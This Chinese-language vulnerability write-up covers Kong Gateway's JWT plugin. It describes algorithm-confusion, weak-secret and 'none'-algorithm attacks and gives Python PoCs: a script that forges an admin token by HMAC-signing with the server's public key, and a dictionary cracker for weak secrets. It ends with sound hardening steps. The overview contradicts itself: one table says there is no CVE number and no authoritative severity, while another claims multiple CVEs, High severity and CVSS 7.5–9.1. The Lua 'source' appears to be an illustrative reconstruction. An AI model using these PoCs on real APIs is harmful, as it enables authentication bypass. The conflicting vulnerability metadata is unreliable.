一、漏洞简介¶
1.1 漏洞背景¶
Kong 的 JWT (JSON Web Token) 插件是使用最广泛的认证插件之一,用于验证和保护 API 请求。JWT 插件的安全漏洞可能导致认证绕过,使攻击者能够访问受保护的 API 资源。
历史上,JWT 实现中存在多种安全风险,包括算法混淆攻击、密钥泄露、配置不当等问题。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | 暂无统一编号 |
| 危害等级 | 暂未找到权威信息 |
| 漏洞类型 | Kong JWT 插件安全漏洞 |
| 披露时间 | 暂未找到权威信息 |
| 影响组件 | Kong Gateway |
| 属性 | 值 |
|---|---|
| CVE 编号 | 多个相关 CVE |
| 危害等级 | 高危 (High) |
| CVSS 评分 | 7.5 - 9.1 |
| 漏洞类型 | 认证绕过 / 算法混淆 / 密钥管理 |
核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。
二、影响范围¶
2.1 受影响的版本¶
- Kong JWT 插件所有版本(取决于配置)
- 使用弱密钥配置的 JWT 插件
- 未正确验证算法的配置
2.2 不受影响的版本¶
- 正确配置了强密钥的 JWT 插件
- 使用 RS256/ES256 等非对称算法的配置
- 启用了严格算法验证的配置
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- 使用对称算法(HS256/HS384/HS512)且密钥过弱
- 允许算法切换攻击
- 密钥泄露或使用默认密钥
- 未正确验证 token 签名
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
1. 算法混淆攻击 (Algorithm Confusion):
正常情况:
Client -> [RS256 签名的 JWT] -> Kong -> [使用 RSA 公钥验证] -> 通过
攻击场景:
Attacker -> [HS256 签名的 JWT,key=公钥] -> Kong -> [误用公钥作为 HMAC 密钥] -> 验证通过!
2. 弱密钥攻击:
# 使用弱密钥的 JWT 可以被暴力破解
import jwt
import hashlib
weak_key = "secret" # 弱密钥
token = jwt.encode({"sub": "admin"}, weak_key, algorithm="HS256")
# 攻击者可以使用字典攻击破解
3. None 算法攻击:
# 某些 JWT 库曾存在此漏洞
{
"alg": "none",
"typ": "JWT"
}
{
"sub": "admin",
"exp": 9999999999
}
3.2 源码层面的根因分析(结合源码与补丁对比)¶
Kong JWT 插件的核心代码位于 kong/plugins/jwt/:
-- kong/plugins/jwt/jwt_parser.lua (简化)
local function verify_signature(self, secret, algorithm)
if algorithm == "HS256" then
-- HMAC-SHA256 验证
local sig = hmac_sha256(secret, self.header_b64 .. "." .. self.payload_b64)
return sig == self.signature
elseif algorithm == "RS256" then
-- RSA 签名验证
return rsa_verify(public_key, self.signature, self.signing_string)
end
end
-- 漏洞点:如果允许算法切换,可能导致混淆攻击
local algorithm = self.header.alg
if not validate_algorithm(algorithm, config.algorithm) then
-- 某些版本可能未正确验证
return nil, "algorithm not allowed"
end
修复后的代码逻辑:
-- 严格的算法验证
local function verify_token(self, config)
local header_alg = self.header.alg
local config_alg = config.algorithm or "HS256"
-- 强制算法匹配
if header_alg ~= config_alg then
return nil, "algorithm mismatch"
end
-- 继续验证签名...
end
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 创建带 JWT 认证的服务
curl -X POST http://localhost:8001/services \
-d "name=protected-service" \
-d "url=http://httpbin.org"
curl -X POST http://localhost:8001/routes \
-d "service.id=<service-id>" \
-d "paths[]=/protected"
# 添加 JWT 插件(使用弱密钥配置)
curl -X POST http://localhost:8001/services/protected-service/plugins \
-d "name=jwt" \
-d "config.secret=secret"
4.2 PoC 演示与测试过程¶
1. 算法混淆攻击 PoC:
#!/usr/bin/env python3
"""
JWT 算法混淆攻击 PoC
仅用于授权安全测试
"""
import jwt
import base64
import json
import requests
def algorithm_confusion_attack(target_url, public_key_pem):
"""
算法混淆攻击:将 RS256 token 转换为 HS256
"""
# 创建恶意 payload
payload = {
"iss": "attacker",
"sub": "admin",
"exp": 9999999999
}
# 使用公钥作为 HMAC 密钥
# 注意:这是攻击,使用公钥的 PEM 格式作为密钥
token = jwt.encode(payload, public_key_pem, algorithm="HS256")
headers = {
"Authorization": f"Bearer {token}"
}
response = requests.get(target_url, headers=headers)
return response.status_code, response.text
# 示例用法
if __name__ == "__main__":
# 从目标获取公钥
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# 尝试攻击
status, text = algorithm_confusion_attack(
"http://target:8000/protected",
public_key
)
print(f"Status: {status}")
2. 弱密钥破解 PoC:
#!/usr/bin/env python3
"""
JWT 弱密钥暴力破解
"""
import jwt
import hashlib
from itertools import product
def crack_jwt_weak_key(token, wordlist):
"""
尝试使用字典破解 JWT 密钥
"""
for password in wordlist:
try:
payload = jwt.decode(token, password, algorithms=["HS256", "HS384", "HS512"])
print(f"[+] 找到密钥: {password}")
return password, payload
except jwt.InvalidSignatureError:
continue
return None, None
# 常见弱密钥列表
common_weak_keys = [
"secret", "password", "123456", "admin", "key",
"api_key", "jwt_secret", "kong", "changeme",
"", " ", "null", "undefined"
]
# 使用示例
if __name__ == "__main__":
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
key, payload = crack_jwt_weak_key(token, common_weak_keys)
3. JWT Token 劫持测试:
# 获取有效的 JWT token
TOKEN=$(curl -s http://target:8000/login \
-d "username=user" \
-d "password=pass" | jq -r '.token')
# 尝试修改 payload 并重新签名
# 如果密钥弱,可能被破解
# 检查 token 是否有效
curl -H "Authorization: Bearer $TOKEN" http://target:8000/protected
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
升级到 Kong 3.x 最新版本,JWT 插件已增强安全验证。
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
方案一:使用强密钥
# 生成强密钥
openssl rand -base64 64
# 配置 JWT 插件使用强密钥
curl -X POST http://localhost:8001/plugins \
-d "name=jwt" \
-d "config.secret=$(openssl rand -base64 64)" \
-d "config.algorithm=HS256"
方案二:使用非对称算法
# 生成 RSA 密钥对
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# 配置 JWT 插件使用 RS256
curl -X POST http://localhost:8001/consumers/admin/jwt \
-d "algorithm=RS256" \
-d "rsa_public_key=@public.pem"
方案三:严格算法验证
# 在 kong.conf 或插件配置中
# 确保只允许特定算法
curl -X PATCH http://localhost:8001/plugins/<plugin-id> \
-d "config.algorithm=RS256"
方案四:启用令牌过期和刷新
-- 在 JWT payload 中设置合理的过期时间
{
"iss": "your-issuer",
"sub": "user-id",
"exp": 1700000000, -- 过期时间
"iat": 1699900000, -- 签发时间
"jti": "unique-token-id" -- 令牌 ID(用于撤销)
}